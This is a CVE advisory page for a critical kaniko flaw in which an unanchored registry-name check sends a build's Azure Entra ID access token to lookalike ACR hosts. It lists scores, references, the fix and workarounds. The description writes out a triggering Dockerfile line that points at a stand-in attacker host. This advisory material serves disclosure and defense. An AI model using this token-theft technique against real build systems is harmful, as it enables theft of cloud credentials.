kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Summary

CVECVE-2026-105769
StatePUBLISHED
Assignerchainguard
Source PriorityCVE Program / NVD first with legacy fallback
Published2026-11-02 17:17:32 UTC
Updated2026-11-02 19:34:23 UTC
Descriptionkaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Risk And Classification

Primary CVSS: v3.1 9.3 CRITICAL from 82cea9a6-e9e3-46fe-bdb0-3673de380178

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Problem Types: CWE-346 | CWE-522 | CWE-346 CWE-346: Origin Validation Error | CWE-522 CWE-522: Insufficiently Protected Credentials


VersionSourceTypeScoreSeverityVector
3.182cea9a6-e9e3-46fe-bdb0-3673de380178Secondary9.3CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
3.1CNACVSS9.3CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

CVSS v3.1 Breakdown

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Vendor Declared Affected Products

SourceVendorProductVersionPlatforms
CNA Chainguard Kaniko affected 1.25.20 semver Not specified

References

ReferenceSourceLinkTags
pkg.go.dev/vuln/GO-2026-6225 82cea9a6-e9e3-46fe-bdb0-3673de380178 pkg.go.dev
github.com/chainguard-forks/kaniko/releases/tag/v1.25.20 82cea9a6-e9e3-46fe-bdb0-3673de380178 github.com
github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97 82cea9a6-e9e3-46fe-bdb0-3673de380178 github.com
github.com/chrismellard/docker-credential-acr-env/issues/21 82cea9a6-e9e3-46fe-bdb0-3673de380178 github.com
github.com/chainguard-forks/kaniko/pull/495 82cea9a6-e9e3-46fe-bdb0-3673de380178 github.com
CVE Program record CVE.ORG www.cve.org canonical
NVD vulnerability detail NVD nvd.nist.gov canonical, analysis

Vendor Comments And Credit

Discovery Credit

CNA: Martin Zihlmann (mzihlmann) of osscontainertools (en)

CNA: 8none1 (en)

CNA: sergiodj (en)

Additional Advisory Data

Solutions

CNA: Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.

Workarounds

CNA: Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko's built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets "credsStore": "acr-env", replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager.

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report